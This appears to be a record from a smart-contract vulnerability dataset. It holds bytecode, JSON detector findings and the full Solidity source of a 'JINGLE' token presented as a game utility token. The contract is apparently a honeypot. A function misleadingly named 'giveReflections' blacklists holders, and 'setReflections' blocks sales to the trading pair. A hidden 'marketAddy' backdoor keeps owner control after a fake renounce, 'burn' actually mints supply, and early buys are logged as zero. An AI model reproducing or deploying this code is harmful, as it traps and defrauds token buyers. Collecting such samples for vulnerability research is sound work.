95576040805162461bcd60e51b815260206004820152601c60248201527f466c61736850726f746f636f6c3a3a205354414b455f45584953545300000000604482015290519081900360640190fd5b61139f8a8a610c69565b94506113aa856104ca565b604080516323b872dd60e01b81526001600160a01b0385166004820152306024820152604481018d905290519195507320398ad62bb2d930646d45a6d4292baa0b860c1f916323b872dd916064808201926020929091908290030181600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b505050506040513d602081101561144157600080fd5b5050604080516340c10f1960e01b81526001600160a01b038a1660048201526024810187905290517320398ad62bb2d930646d45a6d4292baa0b860c1f916340c10f199160448083019260209291908290030181600087803b1580156114a657600080fd5b505af11580156114ba573d6000803e3d6000fd5b505050506040513d60208110156114d057600080fd5b5050600154604080516340c10f1960e01b81526001600160a01b03909216600483015260248201869052517320398ad62bb2d930646d45a6d4292baa0b860c1f916340c10f199160448083019260209291908290030181600087803b15801561153857600080fd5b505af115801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b50506040805160c0810182528b815260208181018c8152828401858152606084018a81526001600160a01b03808916608087019081528f821660a0880181815260008d8152600298899052999099209751885594516001880155925194860194909455516003850155516004840180549184166001600160a01b0319928316179055935160059093018054939092169290931691909117905561160490611880565b156116d957876001600160a01b0316632cbff446848c8489878d8d6040518863ffffffff1660e01b815260040180888152602001878152602001868152602001858152602001846001600160a01b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505098505050505050505050602060405180830381600087803b1580156116ac57600080fd5b505af11580156116c0573d6000803e3d6000fd5b505050506040513d60208110156116d657600080fd5b50505b60408051848152602081018c90528082018b9052606081018390526080810187905290516001600160a01b03808b1692908516917f8872a0bfe035dd55f2341f67aa0f9a8196bb3f97e132b6d3cb2f53f91aaa93f99181900360a00190a35050955095509592505050565b808201828110156104ed576040805162461bcd60e51b81526020600482015260136024820152724d4154483a3a204144445f4f564552464c4f5760681b604482015290519081900360640190fd5b808203828111156104ed576040805162461bcd60e51b81526020600482015260146024820152734d4154483a3a205355425f554e444552464c4f5760601b604482015290519081900360640190fd5b6107d08111156118225760405162461bcd60e51b81526004018080602001828103825260238152602001806118f46023913960400191505060405180910390fd5b6107d08111156118635760405162461bcd60e51b81526004018080602001828103825260238152602001806118f46023913960400191505060405180910390fd5b600055565b6000611878826104e78686611059565b949350505050565b3b151590565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b03168152509056fe466c6173682050726f746f636f6c3a3a20494e56414c49445f554e5354414b455f54494d45466c61736850726f746f636f6c3a3a20494e56414c49445f4d415443485f524154494f466c61736850726f746f636f6c3a3a2046554e4354494f4e5f54494d454c4f434b4544466c61736850726f746f636f6c3a3a204d41585f5354414b455f504552494f445f45584345454453466c61736850726f746f636f6c3a3a204e4f545f4d415443485f5245434549564552a26469706673582212206dc5d6153199f30c9e7dfd6cff75014faddcff6959bde4c24a51e128a2010df564736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,664
0xc7c460ad5d6c35febb2d1fbd63dadd25cfc107be
/* _ _____ _ _ _____ _ ______ | |_ _| \ | |/ ____| | | ____| | | | | | \| | | __| | | |__ _ | | | | | . ` | | |_ | | | __| | |__| |_| |_| |\ | |__| | |____| |____ \____/|_____|_| \_|\_____|______|______| JINGLE is the official utility token for the play to earn Holiday Bash Game. Liquidity locked with Team.Finance Visit the website and telegram for more information. */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract JINGLE is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 100000000000*10**18; string public _name = "JINGLE"; string public _symbol= "JINGLE"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xbb483f477e95E1EB4e699409902DE151273c6651); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611eed565b6104fd565b60405161016e919061244b565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190612329565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f80565b6105b4565b6040516101d691906122f3565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190611fc0565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a919061244b565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190611f2d565b610723565b60405161026791906122f3565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612466565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d4919061244b565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b60048036038101906103169190611e93565b610a53565b604051610328919061244b565b60405180910390f35b34801561033d57600080fd5b5061035860048036038101906103539190611e93565b610a6b565b604051610365919061244b565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b6040516103909190612225565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190612329565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f80565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f9190611e93565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f80565b610e67565b60405161044a91906122f3565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190612329565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611462565b6040516104b79190612329565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611eed565b6114f0565b6040516104f4919061244b565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610531906125de565b80601f016020809104026020016040519081016040528092919081815260200182805461055d906125de565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c1611577565b848461157f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a86126e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d90612641565b915050610687565b5050565b6000600654905090565b600061073084848461174a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b611577565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f2906123cb565b60405180910390fd5b61080f85610807611577565b85840361157f565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae8906125de565b80601f0160208091040260200160405190810160405280929190818152602001828054610b14906125de565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123ab565b60405180910390fd5b610c9960008383611d87565b8060066000828254610cab91906124ee565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906124ee565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d65919061244b565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e74611577565b848461174a565b6001905092915050565b60088054610e92906125de565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe906125de565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061242b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461157f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c9190611ec0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117e57600080fd5b505afa158015611192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b69190611ec0565b6040518363ffffffff1660e01b81526004016111d3929190612240565b602060405180830381600087803b1580156111ed57600080fd5b505af1158015611201573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112259190611ec0565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112ae30610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112f696959493929190612292565b6060604051808303818588803b15801561130f57600080fd5b505af1158015611323573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113489190612036565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161140c929190612269565b602060405180830381600087803b15801561142657600080fd5b505af115801561143a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145e9190612009565b5050565b6007805461146f906125de565b80601f016020809104026020016040519081016040528092919081815260200182805461149b906125de565b80156114e85780601f106114bd576101008083540402835291602001916114e8565b820191906000526020600020905b8154815290600101906020018083116114cb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e69061240b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116569061236b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161173d919061244b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b1906123eb565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561181857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118bc5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1757600960009054906101000a900460ff168061197f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119d75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d9061234b565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a7f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ad75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b0d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b1657600080fd5b611b21838383611d87565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e9061238b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3a91906124ee565b92505081905550436004600b54611c5191906124ee565b118015611cab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d1b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611d0e919061230e565b60405180910390a3611d81565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d78919061244b565b60405180910390a35b50505050565b505050565b6000611d9f611d9a846124a6565b612481565b90508083825260208201905082856020860282011115611dc257611dc161274b565b5b60005b85811015611df25781611dd88882611dfc565b845260208401935060208301925050600181019050611dc5565b5050509392505050565b600081359050611e0b81612997565b92915050565b600081519050611e2081612997565b92915050565b600082601f830112611e3b57611e3a612746565b5b8135611e4b848260208601611d8c565b91505092915050565b600081519050611e63816129ae565b92915050565b600081359050611e78816129c5565b92915050565b600081519050611e8d816129c5565b92915050565b600060208284031215611ea957611ea8612755565b5b6000611eb784828501611dfc565b91505092915050565b600060208284031215611ed657611ed5612755565b5b6000611ee484828501611e11565b91505092915050565b60008060408385031215611f0457611f03612755565b5b6000611f1285828601611dfc565b9250506020611f2385828601611dfc565b9150509250929050565b600080600060608486031215611f4657611f45612755565b5b6000611f5486828701611dfc565b9350506020611f6586828701611dfc565b9250506040611f7686828701611e69565b9150509250925092565b60008060408385031215611f9757611f96612755565b5b6000611fa585828601611dfc565b9250506020611fb685828601611e69565b9150509250929050565b600060208284031215611fd657611fd5612755565b5b600082013567ffffffffffffffff811115611ff457611ff3612750565b5b61200084828501611e26565b91505092915050565b60006020828403121561201f5761201e612755565b5b600061202d84828501611e54565b91505092915050565b60008060006060848603121561204f5761204e612755565b5b600061205d86828701611e7e565b935050602061206e86828701611e7e565b925050604061207f86828701611e7e565b9150509250925092565b61209281612544565b82525050565b6120a181612556565b82525050565b6120b081612599565b82525050565b60006120c1826124d2565b6120cb81856124dd565b93506120db8185602086016125ab565b6120e48161275a565b840191505092915050565b60006120fc6023836124dd565b91506121078261276b565b604082019050919050565b600061211f6022836124dd565b915061212a826127ba565b604082019050919050565b60006121426026836124dd565b915061214d82612809565b604082019050919050565b6000612165601f836124dd565b915061217082612858565b602082019050919050565b60006121886028836124dd565b915061219382612881565b604082019050919050565b60006121ab6025836124dd565b91506121b6826128d0565b604082019050919050565b60006121ce6024836124dd565b91506121d98261291f565b604082019050919050565b60006121f16017836124dd565b91506121fc8261296e565b602082019050919050565b61221081612582565b82525050565b61221f8161258c565b82525050565b600060208201905061223a6000830184612089565b92915050565b60006040820190506122556000830185612089565b6122626020830184612089565b9392505050565b600060408201905061227e6000830185612089565b61228b6020830184612207565b9392505050565b600060c0820190506122a76000830189612089565b6122b46020830188612207565b6122c160408301876120a7565b6122ce60608301866120a7565b6122db6080830185612089565b6122e860a0830184612207565b979650505050505050565b60006020820190506123086000830184612098565b92915050565b600060208201905061232360008301846120a7565b92915050565b6000602082019050818103600083015261234381846120b6565b905092915050565b60006020820190508181036000830152612364816120ef565b9050919050565b6000602082019050818103600083015261238481612112565b9050919050565b600060208201905081810360008301526123a481612135565b9050919050565b600060208201905081810360008301526123c481612158565b9050919050565b600060208201905081810360008301526123e48161217b565b9050919050565b600060208201905081810360008301526124048161219e565b9050919050565b60006020820190508181036000830152612424816121c1565b9050919050565b60006020820190508181036000830152612444816121e4565b9050919050565b60006020820190506124606000830184612207565b92915050565b600060208201905061247b6000830184612216565b92915050565b600061248b61249c565b90506124978282612610565b919050565b6000604051905090565b600067ffffffffffffffff8211156124c1576124c0612717565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006124f982612582565b915061250483612582565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125395761253861268a565b5b828201905092915050565b600061254f82612562565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a482612582565b9050919050565b60005b838110156125c95780820151818401526020810190506125ae565b838111156125d8576000848401525b50505050565b600060028204905060018216806125f657607f821691505b6020821081141561260a576126096126b9565b5b50919050565b6126198261275a565b810181811067ffffffffffffffff8211171561263857612637612717565b5b80604052505050565b600061264c82612582565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561267f5761267e61268a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a081612544565b81146129ab57600080fd5b50565b6129b781612556565b81146129c257600080fd5b50565b6129ce81612582565b81146129d957600080fd5b5056fea26469706673582212204fc3104feba7cea70a1d3aa6c2677b700b519a08042e8d89c9bba40b45cd4a1464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,665
0x31a8a474e7eec6ad36e3373aa23bcd1d60f65282
